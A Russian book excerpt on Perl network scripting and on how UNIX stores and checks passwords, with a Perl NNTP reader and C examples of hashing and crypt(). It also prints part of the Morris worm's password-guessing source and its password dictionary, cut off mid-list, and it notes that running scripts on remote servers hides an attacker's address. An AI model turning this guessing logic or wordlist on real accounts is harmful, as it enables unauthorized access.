Что можно сделать с помощью Perl (глава для начинающих) — КиберПедия 

Организация стока поверхностных вод: Наибольшее количество влаги на земном шаре испаряется с поверхности морей и океанов (88‰)...

Индивидуальные очистные сооружения: К классу индивидуальных очистных сооружений относят сооружения, пропускная способность которых...

Что можно сделать с помощью Perl (глава для начинающих)

2017-08-26 360
Что можно сделать с помощью Perl (глава для начинающих) 0.00 из 5.00 0 оценок
Заказать работу

 

Ø В этой главе:

Ø История создания языка Perl

Ø Назначение и возможности Perl

Ø Демонстрация возможностей Perl

 

«…программисты слишком часто обвиняют в грехах именно себя. Программистам нужно меньше времени тратить на оправдания. Если программирование не интересно, мы не будем убеждать других стать программистами»

Ларри Уолл

 

Народная молва утверждает, лучше, дескать, один раз увидеть, чем сто раз услышать. Поэтому, вместо пылкой агитации за изучение языка Perl, ниже будет приведен один маленький, не самый эффектный, но достаточно оригинальный эксперимент. Как известно, большинство серверов новостей Usenet часто сильно перегружены и не отличаются завидной скоростью. А сами конференции порой содержат тысячи сообщений, просматривать которые в on-line весьма медленно и накладно.

Между тем, текстовые сообщения легко сжимаются любым архиватором в несколько раз, – будь сервер малость поумнее, – он мог бы передавать упакованный поток данных на компьютер клиента, заметно уменьшая сетевой трафик.

Но такую операцию не трудно осуществить и самостоятельно: выбрать сервер с быстрым каналом, установить на нем клиентскую программу, которая умела бы читать сообщения из выбранной конференции, упаковывать их и выкладывать на быстрый FTP, поддерживающий докачку.

Ниже приведена одна из возможных реализаций такой программы (на диске, прилагаемом к книге, она находится в файле “/SRC/nr.pl”). В качестве упражнения зайдите telnet-ом на hobbiton.org (смотри главу «Удаленное выполнение программ») и наберите следующий текст в редакторе vi:

 

· #!/usr/local/bin/perl

· use Socket;

·

· #Настойки по умолчанию

· #$server='mailserver.corvis.ru';

· #$server='oberon.rnd.runnet.ru';

· $server='news.fido7.ru';

· $group='fido7.ru.nethack';

· $listfile='list.txt';

· $msgfile='msg.txt';

·

· print "NNTP Reader Version 2.0 (c) 2000 Kris Kaspersky\n";

· print "Open nf.cfg file...";

·

· #Попытка взятия настоек из файла

· if (open(FH,"nr.cfg"))

· {

· print "OK\n";

· $server=<FH>;

· $server=~ s/\n//;

· $group=<FH>;

· $group =~ s/\n//;

· }

· else

· {

· print "fail\n";

· }

·

· print "Server [$server]:";

· $tmp=<>; if (length($tmp)>2) {$server=$tmp; $server=~ s/\n//;}

·

·

· print "Command (MSG|LIST|EXIT):";

· $tmp=<>;

·

· if ($tmp=~/MSG\n/)

· {

· print "Group [$group]:";

· $tmp=<>;

· if (length($tmp)>2) {$group=$tmp; $group=~ s/\n//;}

· getmsg();

· }

·

· if ($tmp=~/LIST\n/)

· {

· LIST();

· }

·

· if ($tmp=~/EXIT\n/)

· {

· EXIT();

· }

·

· #Сохраняем настойки в файле

· if (open(FH,">nr.cfg"))

· {

· print FH "$server\n";

· print FH "$group\n";

· }

· close (FH);

·

·

· sub getmsg()

· {

·

· $cmdcount=0;

· print "Connecting to $server...";

· socket(NNTP, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);

· connect(NNTP, sockaddr_in(119,inet_aton($server))) || die;

· print "ok!\n";

·

· recv(NNTP,$rc,200,0); # Приглашение сервеа

· print "$rc\n";

·

· send(NNTP,"GROUP $group\r\n",0); # Выбор группы

· $group_res=<NNTP>;

· if(substr($group_res,0,3)==411)

· {

· print "$group_res\n";

· die;

· }

· print "$group_res\n";

·

· open(FH,">$msgfile"); # Открыть файл сообщений

· print FH "$group_res\n";

· $cmdcount=0;

·

· $reader=1; # цикл

· $msgdone=0; # Сообщений прочитано

·

· while($reader)

· {

· send(NNTP,"ARTICLE\r\n",0); # Новая статья

·

· while(substr(($rc=<NNTP>),0,3)!~/\.\r\n/)

· { # Чтение статьи

·

· if (!$rc) {print "Close connection\n";die;}

· print FH $rc;

· }

· print FH $rc;

· $msgdone++; # Следующее сообщение

· print "=$msgdone;\r"; # Протокол на экран

·

· send(NNTP,"NEXT\r\n",0); # Следующее сообщение

· $nx=<NNTP>;

·

· $add=1;

· while($add)

· {

· if (substr($nx,0,1)!~/\./){$add=0;}

· if (substr($nx,0,1)=~/\./){$nx=<NNTP>;}

·

· }

· $nx++;

·

· if ($nx==422) {$reader=0;} # Выход из цикла

· }

·

· close (FH);

·

· if (open(CF,"$msgfile.gz")) # Удалить файл если он уже есть!

· {

· close(CF);

· unlink("$msgfile.gz");

· }

·

· open(FG,"|gzip $msgfile"); # Сжать!

· print "Done\n";

· close(NNTP);

· }

·

· sub LIST()

· {

· print "Connect to $server...";

· socket(NNTP, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);

· connect(NNTP, sockaddr_in(119,inet_aton($server))) || die;

· print "ok\n";

·

· recv(NNTP,$rc,200,0);

· print $rc;

·

· print ">LIST\n";

· send(NNTP,"LIST\r\n",0);

·

· open(FH,">$listfile");

· print FH "Server: $server \nLIST:\n";

·

· $cmdcount=0;

·

· while(substr(($rc=<NNTP>),0,1)!~/\./)

· {

· $cmdcount++;

· #if ($debug) { print "$rc<BR>\n"; }

· print "=$cmdcount\r";

·

· print FH $rc;

· }

· close (FH);

·

·

· if (open(CF,"$listfile.gz"))

· {

· close(CF);

· unlink("$listfile.gz");

· }

·

· print "Done\n";

· open(FG,"|gzip $listfile");

·

· close(NNTP);

· print "<HR>\n";

· }

 

Запустите созданный файл командой “perl nr.pl”. На экране терминала появится следующее:

 

· NNTP Reader Version 2.0 (c) 2000 Kris Kaspersky

· Open nf.cfg file...fail

· Server [news.fido7.ru]:

 

Нажмите клавишу «Enter» или введите адрес news сервера, с которым хотите установить соединение. Затем появится следующий запрос:

 

· Command (MSG|LIST|EXIT):MSG

 

Выберете команду “MSG” для получения всех сообщений заданной конференции, или “LIST” для выдачи списка всех доступных конференций. Если выбрать команду “MSG” программа попросит ввести название конференции, сообщения которой требуется получить:

 

· Group [fido7.ru.nethack]:

 

После нажатия “Enter” начнется процесс перекачки сообщений на удаленный сервер. Если он действительно находится на быстром канале, это не займет много времени.

 

· Connecting to news.fido7.ru...ok!

· 200 ddt.demos.su InterNetNews NNRP server INN 2.3experimental 20-Nov-1998 ready (posting ok).

· 211 418 26550 26967 fido7.ru.nethack

· =55;

 

По окончании процесса в текущей директории будет создан файл “list.txt.gz” (если был запрошен список конференций) или “msg.txt.gz”, содержащий текст сообщений. Воспользуйтесь любым ftp-клиентом и выкачайте этот файл на свой локальный компьютер. Распакуйте его архиватором gzip (или совместимым с ним Winzip32) и, ради любопытства, сопоставьте размеры файла до и после упаковки, прикинув, сколько же времени удалось сэкономить.

Это довольно мирный пример, показывающий полезность Perl в повседневной жизни. Точно так можно перекачать файл с любого сервера, (например, ftp) не поддерживающего докачку, на сервер докачку поддерживающий.

Применительно к атакам подобная технология позволяет убить сразу двух зайцев. Во-первых, она обеспечивает анонимность (ведь программа исполняется от имени удаленного сервера, везде оставляя его адрес, а не IP злоумышленника), а во-вторых, многие атаки с медленного модемного канала реализовать принципиально невозможно!

Любую атаку можно свести к программной реализации, т.е. последовательность инструкций, работающих либо в полностью автономном, либо диалоговом режиме. В первом случае все необходимые установки задаются однократно до начала атаки, после чего атакующий идет пить кофе, дожидаясь окончания работы программы. А во втором требуется тесное взаимодействие с оператором – выдача промежуточных результатов, анализ ситуации и ввод очередной последовательности команд.

В сетевом программировании большую популярность завоевали интерпретаторы, не требующие предварительной компиляции программы перед ее выполнением. Интерпретаторы позволяют создавать мобильный код, одинаково хорошо работающий под управлением любой серверной платформы, разумеется, при условии, что для нее имеется реализации требуемого интерпретатора, и он установлен в системе.

Существует целое море самых разнообразных интерпретаторов, казалось бы, выбирай, – не хочу. Но большинство из них не сыскало большой популярности и известно лишь узкому кругу приверженцев. Вероятность обнаружить какой-нибудь из них на произвольно взятом сервере близка к нулю, и если нет возможности умаслить администратора системы и уговорить установить интерпретатор полюбившегося вам языка – ничего работать не будет.

Впрочем, существует язык, интерпретатор которого установлен на подавляющем большинстве серверов. Речь идет о Perl. Эта аббревиатура расшифровывается как Practical Extraction and Reporting Language – или по-русски Практический Язык для Извлечения (текстов) и Генерации (отчетов).

Одна из легенд утверждает, якобы Perl был создан Ларри Уоллом для поиска и извлечения сообщений из своей огромной базы конференций Usenet.

 

 

Рисунок larry.gif Ларри Уолл

 

Но, на самом деле, все происходило не совсем так. Язык Perl действительно создан Ларри Уоллом, выпустившим первую версию в 1986 году и названную им “Gloria”. К этому его побудило несовершенство существующего инструментария разработки средств управления и мониторинга многоуровневых сетей. Ларри испробовал все – и sh, и awk, и sed, и tr, но их возможностей не хватало для элегантного выполнения поставленной задачи и в созданные скрипты постоянно вносить приходилось изменения.

 

Врезка «информация»

Аббревиатура “awk” представляет собой первые буквы имен разработчиков языка Альфред Эхо (Aho), Питер Вейнбергер (Weinberger), Брайн Керниган (Kernighan). Синтаксис языка напоминал Си и был ориентирован на обработку текстов. От классического Си, awk отличался поддержкой регулярных выражений, ассоциативных массивов и свободным определением типов переменных и описаний.

 

В конце концов, Ларри решился создать собственный инструментарий. Он заимствовал все лучшее из существующих языков: форматы вывода были скопированы из BASIC, динамические контексты подарил Lisp, ассоциативные массивы пришли из awk, а синтаксис стал неотличим от Си.

Гибрид оказался удачным и быстро завоевал популярность в компьютерных кругах. Успеху способствовала полная неакадемичность языка, проявляющая в огромном количестве умолчаний, часто запутывающая новичка, но сокращающих размер листинга и за это горячо любимыми всеми профессионалами.

 

Врезка «замечание»

«Реальные языки эволюционируют, они не «топчутся на месте». Действительно революционные компьютерные языки, похоже, не привились. Самыми интересными из последних разработок будут как раз те, которые учитывают особенности и взаимосвязь культурных традиций разных наций. Весь мир превращается в единый компьютер с тесными внутренними связями. Безусловно, XML может помочь выполнять преобразование одних форматов данных в другие, но мы работаем и над тем, чтобы упростить процесс программирования для миллиардов потенциальных программистов во всем мире»

Ларри Уолл

 

Вскоре Gloria была перекрещена в Pearl (в переводе на русский – жемчужина), а когда выяснилось, что такой язык уже есть, пришлось убрать одну букву, превратив жемчужину в подножную пищу кораблей пустыни (Perl обозначает колючка).

Постепенно к работе над Perl подключились десятки и сотни людей со всех концов Земного Шара и язык начал активно совершенствоваться. Со временем большая часть кода оказалась написана сторонними разработчиками, но Ларри Уолл по-прежнему остается идейным вдохновителем языка, находясь на почетном посту «генерального архитектора».

Сегодня Perl – развитый инструмент, отлично подходящий для создания Internet‑приложений. Одно из несомненных достоинств – его бесплатность. Получить копию интерпретатора можно, посетив сайт www.perl.org

Наличие Perl потребуется для большинства примеров этой книги. С его помощью можно сделать практически все что угодно, и порой намного быстрее и элегантнее, чем на классическом Си/Си++. Изначально Perl так и задумывался – как инструмент быстрого программирования. «Мы пытаемся сохранить произведения искусства, продлить их существование, но даже пища, захороненная вместе с фараонами, со временем приходит в негодность. Итак, плоды нашего программирования на Perl то же в чем-то эфемерны. Этот аспект “кухни Perl” часто порицают. Если хотите – называйте его “программированием на скорую руку”, но миллиардные обороты в кафе быстрого обслуживания позволяют надеяться, что быстрая еда может быть качественной (нам хотелось бы в это верить» писал Ларри в предисловии к книге “Perl cookbook”.

Но, каким бы простым Perl не был, он все же требует вдумчивого изучения. Сегодня на рынке по этой теме можно найти множество книг, рассчитанных, как и на профессионалов, так и на начинающих пользователей. Однако для глубокого понимания материалов и примеров, приводимых в этой книге, потребуется не только значение синтаксиса самого языка, но навыки программирования сокетов. По идее эта тема должна излагаться в любой книжке, посвященной сетевому программированию, но легко убедиться: большинство авторов предпочитают ограничиться каркасными библиотеками и не лезть вглубь, на низкий уровень TCP/IP. Зато книги, посвященные Си, часто рассчитаны на профессионального читателя и порой описывают интерфейс сокетов во всех подробностях.

Впрочем, все «темные» места в настоящей книге будут комментироваться достаточно подробно, чтобы даже неподготовленный читатель смог разобраться в излагаемом материале, но лучше все же по ходу дела обращаться к специализированной литературе.

 

"Будьте вы хоть семи пядей во лбу, – вам никогда не удастся запомнить все напечатанное в грудах книг и таблиц. Ведь в них есть и самое важное, и просто важное, и второстепенное, и, наконец, просто ненужное – то, что либо успело устареть, едва родившись, либо потеряло значение к настоящему времени."

Аркадий Стругацкий, Борис Стругацкий "Страна багровых туч"

 

Атака на UNIX

 

Ø В этой главе:

Ø Как хранятся пароли в UNIX

Ø Что такое привязка?

Ø Атака на пароль

Ø Червь Морриса

Ø Теневые пароли

Ø Иерархия пользователей

Ø Тьюринговая атака Томпсона

Ø Как утащить файл паролей?

Ø Как устроена функция Crypt

Ø Перехват личной почты

Ø Использование конвейера и перенаправления ввода-вывода для атаки

Ø Доверительные хосты

Ø Атака Кевина Митника

 

 

- То, что вы видите перед собой, - это самое хитрое электронное оружие среди всего, что человечеству удалось пока создать. Система бронирована не хуже какого-нибудь крейсера. И она обязана быть такой, поскольку в мире полным-полно хитрых сторожевых программ, которые вцепляются, подобно терьерам, в любого не прошенного гостя и держат его мертвой хваткой.

John Warley “Press Enter”

 

«Нынешние кракеры, наверное, кусают себе локти, что родились не 10 лет назад, – ведь тогда хакером мог прослыть тот, кто умел методично перебирать адреса компьютеров и вводить в качестве имени и пароля что-нибудь типа guest/guest. Видимо, большинство хостов (в том числе и военных – в те времена возможность проникновения в секретные хосты не являлась мифом) вскрывались именно так». – писали в своей книге «Атака через Internet Илья Медведовский и Павел Семьянов.

Конечно, сегодня появилось много современных методов аутентификации пользователя, например основанных на биометрических показателях, но ни один из них не получил широкого распространения, и подавляющее большинство защит до сих пор действуют по парольной схеме.

Неудачный выбор пароля и на сегодняшний день остается одной из главных причин успешности большинства атак. Несмотря на все усилия администраторов, рекомендующих пароли в виде бессмысленной нерегулярной последовательности символов наподобие «acs95wM$», пользователи и простые словарные слова запомнить не всегда в состоянии и порой выбирают “12345” или “qwerty”.

Поэтому, подобрать пароль иной раз удается и тривиальным перебором. Разумеется, не обязательно вводить предполагаемые варианты вручную – процесс легко автоматизировать, использовав любую подходящую программу или написав ее самостоятельно (подробнее об этом рассказано в главе «Как устроен генератор паролей»).

Но простой перебор бессилен против современных систем, оснащенных “intruder detection” (в переводе на русский язык– обнаружение нарушителя). Стоит при вводе пароля ошибиться несколько раз подряд – как доступ к системе окажется заблокированным. Шансы же угадать пароль менее чем за десять-двенадцать попыток, равны нулю. Даже если опция “intruder detection” не установлена, скорость перебора окажется крайне низкой, в силу медлительности процесса авторизации.

Очевидно, атакующему приходится искать другие пути. Например, попытаться получить содержимое файла паролей. Однако еще в самых ранних версиях операционной системы UNIX разработчики предвидели последствия хранения паролей в открытом виде и приняли необходимые меры безопасности. В UNIX все пароли хранятся в зашифрованном виде, и даже если подсмотреть содержимое файла паролей, – это ничего не даст. Если, конечно, их не удастся расшифровать. Одни утверждают, дескать, это математически невозможно, другие же проникают в чужие системы, в обход математики. И ниже будет показано как.

Строго говоря, выражение «зашифрованные пароли» в отношении UNIX технически безграмотно. Шифрование в общем случае представляет собой обратимое преобразование: если злоумышленники зашифровали свой секретный плат захвата Белого Дома, а, расшифровав, получили Уголовный Кодекс, то уже не шифрование получается! Но в UNIX дела обстоят еще хуже. Зашифровать-то пароль она зашифрует, но вот расшифровать обратно его не сможет ни злоумышленник, ни легальный пользователь, ни даже сама система! Удивительно, как же она ухитряется работать и безошибочно отличать «своих» от «чужих»?

На самом деле ничего удивительно здесь нет! И подобный алгоритм авторизации известен уже давно. Но прежде, чем приступать к его изучению, рассмотрим, классический способ побайтовой сверки паролей. Для этого окажется не лишним написать коротенькую тестовую программу на языке Си, например, такую (смотри “/SRC/passwd.simple.c”).

 

· #include <stdio.h>

· #include <string.h>

·

· void main()

· {

· char buf[100],fbuf[100];

· FILE *f;

· if (!(f=fopen("passwd.simple","r"))) return;

· printf("Enter password:");

· fgets(&buf[0],100,stdin);

· fgets(&fbuf[0],100,f);

· if (strcmp(&buf[0],&fbuf[0]))

· printf("Wrong password!\n");

· else

· printf("Password ok\n");

· }

 

Ядро этой простейшей системы аутентификации состоит всего из одной строки (в листинге она выделена жирным шрифтом), побайтно сравнивающей строку, введенную в качестве пароля, со строкой, считанную из файла паролей.

Разумеется, файл паролей необходимо сформировать загодя, и для этого пригодится программа, исходный текст которой приведен ниже (а на диске она находится под именем “/SRC/passwd.simple.add.new.user”):

 

· #include <stdio.h>

·

· void main(int count, char ** arg)

· {

· char buf[100];

· FILE *f;

· if (!(f=fopen("passwd.simple","w"))) return;

· printf("Enter password:");

· fgets(&buf[0],100,stdin);

· fputs(&buf[0],f);

· fclose(f);

· }

 

На запрос “Enter password:” введем любой пришедший на ум пароль. Например, “MyGoodPassword”. Запустив “passwd.simple.exe” убедимся: программа уверенно распознает правильные и ложные пароли, работая на первый взгляд как будто безупречно.

К сожалению, такую защиту очень легко обойти. Если есть доступ к файлу паролей (а если его не будет, как изволите извлекать пароли для проверки?) тривиальный просмотр содержимого позволит получить пароли всех пользователей, а это никак не входит в планы разработчиков защиты.

Для разминки воспользуемся командой “type passwd.simple” и на экране незамедлительно появится содержимое файла паролей:

 

· type passwd.simple

· MyGoodPassword

 

Разработчики UNIX нашли оригинальное решение, прибегнув к необратимому преобразованию – хешированию. Предположим, существует некая функция f, преобразующая исходную строку к некой последовательности байт таким образом, чтобы обратный процесс был невозможен или требовал огромного объема вычислений, заведомо недоступного злоумышленнику. Математички это можно записать как:

 

· f(passwd) –> x

 

Вся изюминка в том, что если строка s1 равна строке s2, то и f(s1) заведомо равно f(s2). А это дает возможность отказаться от хранения паролей в открытом виде. В самом деле, вместо этого можно сохранить значение функции f(passwd), где passwd оригинальный пароль. Затем применить ту же хеш-функцию к паролю, введенному пользователем (userpasswd), и, если f(userpasswd) == f(passwd), то и userpasswd == passwd! Поэтому, доступность файла «зашифрованных» паролей уже не позволяет воспользоваться ими в корыстных целях, поскольку по условию функция f гарантирует, что результат ее вычислений необратим, и исходный пароль найти невозможно.

Сказанное легче понять, самостоятельно написав простейшую программу, работающую по описанной выше методике. Сначала необходимо выбрать функцию преобразования, отвечающую указанным условиям. К сожалению, это сложная задача, требующая глубоких познаний криптографии и математики, поэтому, просто посчитаем сумму ASCII кодов символов пароля и запомним результат. Пример реализации такого алгоритма приведен ниже (смотри файл “passwd.add.new.user.c”):

 

· #include <stdio.h>

· #include <string.h>

·

· void main()

· {

· char buf[100],c;

· int sum=0xDEAD,i=0;

· FILE *f;

·

· if (!(f=fopen("passwd","w"))) return;

· printf("Enter password:");

· fgets(&buf[0],100,stdin);

· while(buf[i])

· {

· c=buf[i++];

· sum+=c;

· }

· _putw(sum,f);

· }

 

Запустим откомпилированный пример на выполнение и в качестве пароля введем, например, “MyGoodPassword”. Теперь напишем программу, проверяющую вводимый пользователем пароль. Один из возможных вариантов реализации показан ниже (смотри файл “/SRC/passwd.c”):

 

· #include <stdio.h>

· #include <string.h>

·

· void main()

· {

· char buf[100],c;

· int sum=0xDEAD,i=0,_passwd;

· FILE *f;

·

· if (!(f=fopen("passwd","r"))) return;

· printf("Enter password:");

· fgets(&buf[0],100,stdin);

· _passwd=_getw(f);

·

· while(buf[i])

· {

· c=buf[i++];

· sum+=c;

· }

· if (sum-_passwd)

· printf("Wrong password!\n");

· else

· printf("Password ok\n");

·

· }

 

 

Обратите внимание на выделенные строки – и в том, и в другом случае использовалась одна и та же функция преобразования. Убедившись в умении программы отличать «свои» пароли от «чужих», заглянем в файл “passwd”, отдав команду “type passwd”:

 

· type passwd

· Yф

 

Совсем другое дело! Попробуй-ка, теперь угадай, какой пароль необходимо ввести, что система его пропустила. Строго говоря, в приведенном примере это можно без труда и задача решается едва ли не в уме, но условимся считать выбранную функцию односторонней и необратимой.

Из односторонности функции следует невозможность восстановления оригинального пароля по его хешу, и доступность файла passwd уже не позволит злоумышленнику проникнуть в систему. Расшифровать пароли невозможно, потому что их там нет. Другой вопрос, удастся ли подобрать некую строку, воспринимаемую системой как правильный пароль? К обсуждению этого вопроса мы еще вернемся позже, а для начала рассмотрим устройство механизма аутентификации в UNIX.

Первые версии UNIX в качестве односторонней функции использовали модифицированный вариант известного криптостойкого алгоритма DES. Под криптостойкостью в данном случае понимается гарантированная невозможность вычисления подходящего пароля никаким иными способом, кроме тупого перебора. Впрочем, существовали платы, реализующие такой перебор на аппаратном уровне и вскрывающие систему за разумное время, поэтому пришлось пойти рискованный шаг, внося некоторые изменения в алгоритм, «ослепляющие» существующее «железо». Риск заключался в возможной потере криптостойкости и необратимости функции. К счастью, этого не произошло.

Другая проблема заключалась в совпадении паролей пользователей. В самом деле, если два человека выберут себе одинаковые пароли, то и хеши этих паролей окажутся одинаковыми (а как же иначе?). А вот это никуда не годится, – в многопользовательской системе шансы подобного совпадения не так малы, как это может показаться на первый взгляд, и в результате возможен несанкционированный доступ к чужим ресурсам.

Разработчики нашли элегантное решение, – результат операции хеширования зависит не только от введенного пароля, но и случайной последовательности бит, называемой привязкой (salt). Разумеется, саму привязку после хеширования необходимо сохранять, иначе процесс не удастся обратить. Однако никакого секрета привязка не представляет, (поскольку шифрует не хеш-сумму, а вводимый пользователем пароль).

Хеш-суммы, привязки и некоторая другая информация в UNIX обычно хранится в файле “/etc/passwd”, состоящего из строк следующего вида:

 

· kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash

 

Разберем, что этот дремучий лес обозначает. Первым идет имя пользователя (например, “kpnc”), за ним, отделенное двое точением, следует то, что начинающими по незнанию называется «зашифрованным паролем». На самом деле это никакой не пароль – первые два символа представляют собой сохраненную привязку, а остаток – необратимое преобразование от пароля, то есть хеш. Затем (отделенные двоеточием) идут номер пользователя и номер группы, дополнительная информация о пользователе (как правило, полное имя), а замыкают строй домашний каталог пользователя и оболочка, запускаемая по умолчанию.

 

 

Рисунок 14.txt Устройство файла /etc/passwd

 

Шифрование паролей происходит следующим образом, – случайным образом выбираются два символа привязки[100], использующиеся для модификации алгоритма DES. Затем шифруется строка пробелов с использованием пароля в качестве ключа. Полученное 64 битое значение преобразуется в одинадцатисимвольную строку. Спереди к ней дописываются два символа привязки, и на этом весь процесс заканчивается.

Продемонстрировать работу функции crypt поможет следующий пример (на диске он расположен в файле “/SRC/ctypt.c”). Его компиляция потребует библиотеки ast.lib, распространяемой вместе с “UWIN” (смотри главу «Как запускать UNIX приложения на Windows»), если же такой библиотеки у читателя нет, можно воспользоваться готовым к работе файлом “/SRC/crypt.exe”. Для запуска программы в командной строке необходимо указать шифруемый пароль и отделенную пробелом привязку.

 

· #include <windows.h>

· extern char *crypt(const char*, const char*);

·

· int main(int argc, char *argv[])

· {

· printf("%s\n", crypt (argv[1],argv[2]));

· return 0;

· }

 

Прототип функции crypt выглядит следующим образом: char * crypt(char *passwd, char *solt), где passwd – пароль для шифрования, а solt – два символа привязки. При успешном выполнении функция возвращает 13-символьный хеш готовый к употреблению – два символа привязки и 11-символьная хеш-сумма пароля.

Теперь можно реализовать некое подобие подсистемы аутентификации UNIX. Сперва необходимо добавить нового пользователя в файл passwd. Одни из вариантов реализации приведен ниже (на диске он находится в файле “/SRC/crypt.auth.add.new.user.c”). Для упрощения, поддерживается только один пользователь.

 

· #include <stdlib.h>

· #include <stdio.h>

· #include <time.h>

·

· extern char *crypt(const char*, const char*);

·

· int main(int argc, char *argv[])

· {

· int a;

· char salt[3];

· FILE *f;

·

· salt[2]=0;

· srand((unsigned)time(NULL));

· for(a=0;a<2;a++) salt[a]=0x22+(rand() % 0x40);

· if (!(f=fopen("passwd","w"))) return -1;

· fputs(crypt(argv[1],&salt[0]),f);

· fclose(f);

· return 0;

· }

 

Запустим откомпилированный пример и укажем любой произвольный пароль в командной строке, например, так: “crypt.auth.add.new.user.exe 12345”. Теперь заглянем в файл “passwd”. Его содержание должно быть следующим “^37DjO25th9ps”[101]. Очевидно, для проверки правильности вводимого пользователем пароля необходимо выделить первые два символа привязки, вызвать функцию crypt, передав ей в качестве первого параметра проверяемый пароль, а вторым – привязку, в данном случае “^3”, и после завершения работы сравнить полученный результат с “^37DjO25th9ps”. Если обе строки окажутся идентичны – пароль указан верно и, соответственно, наоборот. Все это реализовано в следующем примере, приведенном ниже (на диске он находится в файле “/SRC/crypt.auth.c”):

 

· #include <stdio.h>

· extern char *crypt(const char*, const char*);

·

· int main(int argc, char *argv[])

· {

· int a=1;

· char salt[2];

· char passwd[12];

· char *x;

· FILE *f;

·

· passwd[11]=0;

· while(a++) if (argv[1][a]<0x10) {argv[1][a]=0;break;}

·

· if (!(f=fopen("passwd","r"))) return -1;

· fgets(&salt[0],3,f);

· fgets(&passwd[0],12,f);

· fclose(f);

·

· if (strcmp(&passwd[0],crypt(argv[1],&salt[0])+2))

· printf("Wrong password!\n");

· else

· printf("Password ok\n");

·

· return 0;

· }

 

Запустим “crypt.auth.exe”, указав в командной строке пароль “12345”. Программа подтвердит правильность пароля. А теперь попробуем ввести другой пароль, – и результат не заставит себя долго ждать.

 

· crypt.auth.exe 12345

· Password ok

 

· crypt.auth.exe MyGoodPasswd

· Wrong password!

 

Время выполнения функции crypt на PDP-11 доходило до одной секунды. Поэтому, разработчики посчитали вполне достаточным ограничить длину пароля восьми символами. Попробуем посчитать какое время необходимо для перебора всех возможных комбинаций. Оно равно (nk-0+ nk-1+ nk-2+ nk-3+ nk-4... nk)), где n – число допустимых символов пароля, а k – длина пароля. Для 96 читабельных символов латинского алфавита перебор пароля в худшем случае потребует около 7x1015 секунд или более двух сотен миллионов лет! Даже если пароль окажется состоящим из одних цифр (коих всего-навсего десять) в худшем случае его удастся найти за семь лет, а в среднем за срок вдвое меньший.

Другими словами, сломать UNIX в лоб не получится. Если пароли и в самом деле выбирались случайно, дело действительно обстояло именно так. Но в реальной жизни пользователи ведут себя не как на бумаге, и выбирают простые короткие пароли, часто совпадающие с их именем, никак не шифрующимся и хранящимся открытым текстом.

Первой нашумевшей атакой, использующей человеческую беспечность, был незабываемый вирус Морриса. Он распространялся от машины, к машине используя нехитрую методику, которую демонстрирует фрагмент исходного кода вируса, приведенный ниже (на прилагаемом к книге диске он по некоторым причинам отсутствует, однако это никому не помешает найти его в сети самостоятельно):

 

· /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */

· static strat_1()/* 0x61ca */

· {

· int cnt;

· char usrname[50], buf[50];

·

· for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next)

· {

· /* Every tenth time look for "me mates" */

· if ((cnt % 10) == 0) other_sleep(0);

·

· /* Check for no passwd */

· // Проверка на пустой пароль

· if (try_passwd(x27f2c, XS(""))) continue;/* 1722 */

·

· /* If the passwd is something like "*" punt matching it. */

· // Если вместо пароля стоит символ-джокер, пропускаем такой пароль

· if (strlen(x27f2c->passwd)!= 13) continue;

·

· // Попробовать в качестве пароля подставить имя пользователя

· strncpy(usrname, x27f2c, sizeof(usrname)-1);

· usrname[sizeof(usrname)-1] = '\0';

· if (try_passwd(x27f2c, usrname)) continue;

·

· // Попробовать в качестве пароля двойное имя пользователя (т.е. для kpnc – kpnckpnc)

· sprintf(buf, XS("%.20s%.20s"), usrname, usrname);

· if (try_passwd(x27f2c, buf)) continue;

·

· // Попробовать в качестве пароля расширенное имя пользователя в нижнем регистре

· sscanf(x27f2c->gecos, XS("%[^,]"), buf);

· if (isupper(buf[0])) buf[0] = tolower(buf[0]);

· if (strlen(buf) > 3 && try_passwd(x27f2c, buf)) continue;

·

· // Попробовать в качестве пароля второе расширенное имя пользователя

· buf[0] = '\0';

· sscanf(x27f2c->gecos, XS("%*s %[^,]s"), buf);

· if (isupper(buf[0])) buf[0] = tolower(buf[0]);

· if (strlen(buf) > 3 && index(buf, ',') == NULL &&

· try_passwd(x27f2c, buf)) continue;

·

· // Попробовать в качестве пароля имя пользователя задом наперед

· reverse_str(usrname, buf);

· if (try_passwd(x27f2c, buf));

· }

· if (x27f2c == 0) cmode = 2;

· return;

· }

 

То есть для пользователя с учетной записью «kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash» вирус в качестве пароля перебирал бы следующие варианты:

 

· пустой пароль (вдруг да повезет!)

· имя пользователя (в приведенном примере kpnc)

· удвоенное имя пользователя (kpnckpnc)

· первое расширенное имя в нижнем регистре (kris)

· второе расширенное имя в нижнем регистре (kaspersky)

· имя пользователя задом-наперед (cnpk)

 

И это работало! Как сейчас утверждается, инфицированными оказались около шести тысяч компьютеров[102]. Не последнюю роль в проникновении в систему сыграла атака по словарю. Создатель вируса составил список более четырехсот наиболее популярных с его точки зрения паролей, который и приводится ниже. Парадоксально, но даже сегодня он все еще остается актуальным, и многие пользователи ухитряются использовать те же самые слова, что и двадцать лет назад.

 

academia, aerobics, airplane, albany, albatross,

albert, alex, alexander, algebra, aliases,

alphabet, amorphous, analog, anchor, andromache,

animals, answer, anthropogenic, anvils, anything",

aria, ariadne, arrow, arthur, athena,

atmosphere, aztecs, azure, bacchus, bailey,

banana, bananas, bandit, banks, barber,

baritone, bass, bassoon, batman, beater,

beauty, beethoven, beloved, benz, beowulf,

berkeley, berliner, beryl, beverly, bicameral,

brenda, brian, bridget, broadway, bumbling,

burgess, campanile, cantor, cardinal, carmen,

carolina, caroline, cascades, castle, cayuga,

celtics, cerulean, change, charles, charming,

charon, chester, cigar, classic, clusters,

coffee, coke, collins, commrades, computer,

condo, cookie, cooper, cornelius, couscous,

creation, creosote, cretin, daemon, dancer,

daniel, danny, dave, december, defoe,

deluge, desperate, develop, dieter, digital,

discovery, disney, drought, duncan, eager,

easier, edges, edinburgh, edwin, edwina,

egghead, eiderdown, eileen, einstein, elephant,

elizabeth, ellen, emerald, engine, engineer,

enterprise, enzyme, ersatz, establish, estate,

euclid, evelyn, extension, fairway, felicia,

fender, fermat, fidelity, finite, fishers,

flakes, float, flower, flowers, foolproof,

football, foresight, format, forsythe, fourier,

fred, friend, frighten, fungible, gabriel,

gardner, garfield, gauss, george, gertrude,

ginger, glacier, golfer, gorgeous, gorges,

